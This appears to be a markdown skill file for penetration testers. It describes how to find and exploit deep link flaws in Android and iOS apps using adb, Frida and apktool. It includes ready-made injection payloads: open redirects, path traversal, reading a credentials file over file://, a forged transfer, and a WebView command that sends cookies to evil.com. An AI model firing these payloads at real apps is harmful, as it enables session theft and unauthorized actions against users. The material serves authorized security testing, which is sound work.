--- name: exploiting-deeplink-vulnerabilities description: 'Tests and exploits deep link (URL scheme and App Link) vulnerabilities in Android and iOS mobile applications to identify unauthorized access, data injection, intent hijacking, and redirect manipulation. Use when assessing mobile app attack surface through custom URI schemes, Android App Links, iOS Universal Links, or intent-based navigation. Activates for requests involving deep link security testing, URL scheme exploitation, mobile intent abuse, or link hijacking. ' domain: cybersecurity subdomain: mobile-security author: mahipal tags: - mobile-security - android - ios - deep-links - owasp-mobile - penetration-testing version: 1.0.0 license: Apache-2.0 nist_csf: - PR.PS-01 - PR.AA-05 - ID.RA-01 - DE.CM-09 --- # Exploiting Deep Link Vulnerabilities ## When to Use Use this skill when: - Assessing mobile app deep link handling for injection and redirect vulnerabilities - Testing Android intent filters and iOS URL scheme handlers for unauthorized access - Evaluating App Links (Android) and Universal Links (iOS) verification - Testing for link hijacking via competing app registrations **Do not use** without authorization -- deep link exploitation can trigger unintended actions in target applications. ## Prerequisites - Android device with ADB or iOS device with Objection/Frida - APK decompiled with apktool or JADX for AndroidManifest.xml analysis - Knowledge of target app's registered URL schemes and intent filters - Drozer for Android intent testing - Burp Suite for intercepting deep link-triggered API calls ## Workflow ### Step 1: Enumerate Deep Link Entry Points **Android - Extract from AndroidManifest.xml:** ```bash # Decompile APK apktool d target.apk -o decompiled/ # Search for intent filters with deep link schemes grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml # Look for: # # ``` **iOS - Extract from Info.plist:** ```bash # Extract URL schemes plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes" # Extract Universal Links (Associated Domains) plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains" # Check: applinks:target.com # Verify apple-app-site-association file curl https://target.com/.well-known/apple-app-site-association ``` ### Step 2: Test Deep Link Injection **Android via ADB:** ```bash # Basic deep link invocation adb shell am start -a android.intent.action.VIEW \ -d "myapp://dashboard?user_id=1337" com.target.app # Test with injection payloads adb shell am start -a android.intent.action.VIEW \ -d "myapp://profile?redirect=https://evil.com" com.target.app # Test path traversal adb shell am start -a android.intent.action.VIEW \ -d "myapp://navigate?path=../../../admin" com.target.app # Test JavaScript injection (if loaded in WebView) adb shell am start -a android.intent.action.VIEW \ -d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app # Test with extra intent parameters adb shell am start -a android.intent.action.VIEW \ -d "myapp://transfer?amount=1000&to=attacker" \ --es extra_param "injected_value" com.target.app ``` **iOS via Safari or command line:** ```bash # Trigger URL scheme from Safari # Navigate to: myapp://dashboard?user_id=1337 # Using Frida to invoke frida -U -n TargetApp -e ' ObjC.classes.UIApplication.sharedApplication() .openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com")); ' ``` ### Step 3: Test Link Hijacking **Android:** ```bash # Create a malicious app that registers the same URL scheme # AndroidManifest.xml of attacker app: # # # # # # # When both apps are installed, Android shows a chooser dialog # On older Android versions, the first-installed app may handle the link # Check App Links verification (prevents hijacking) adb shell pm get-app-links com.target.app # Status: verified = secure # Status: undefined = vulnerable to hijacking ``` ### Step 4: Test WebView Deep Link Loading ```bash # If deep links load URLs in WebView, test for: # 1. Open redirect adb shell am start -d "myapp://open?url=https://evil.com" com.target.app # 2. File access adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml" # 3. JavaScript execution in WebView adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)" ``` ### Step 5: Assess Parameter Validation Test each deep link parameter for: - SQL injection in parameters that query local databases - Path traversal in file path parameters - SSRF in URL parameters that trigger server requests - Authentication bypass via user_id or session parameters ## Key Concepts | Term | Definition | |------|-----------| | **Custom URL Scheme** | App-registered protocol (myapp://) that routes to specific app handlers when invoked | | **App Links (Android)** | Verified HTTPS deep links that bypass the chooser dialog and open directly in the verified app | | **Universal Links (iOS)** | Apple's verified deep linking using apple-app-site-association JSON file on the web domain | | **Intent Hijacking** | Malicious app intercepting deep links by registering the same URL scheme or intent filter | | **WebView Bridge** | JavaScript interface exposed to WebView content, potentially accessible via deep link-loaded URLs | ## Tools & Systems - **ADB**: Android command-line tool for invoking deep links via `am start` - **Drozer**: Android security framework for testing intent-based attack surface - **apktool**: APK decompiler for extracting AndroidManifest.xml and intent filter definitions - **Frida**: Dynamic instrumentation for hooking URL scheme handlers at runtime - **Burp Suite**: Proxy for intercepting API calls triggered by deep link navigation ## Common Pitfalls - **App Links verification**: Android App Links with verified domain associations are resistant to hijacking. Check `assetlinks.json` at `https://domain/.well-known/assetlinks.json`. - **Fragment handling**: Some apps process URL fragments (#) differently than query parameters (?). Test both. - **Encoding bypass**: URL-encode payloads to bypass client-side input filtering in deep link handlers. - **Multi-step deep links**: Some deep links require authentication state. Test after login and before login to assess authorization enforcement.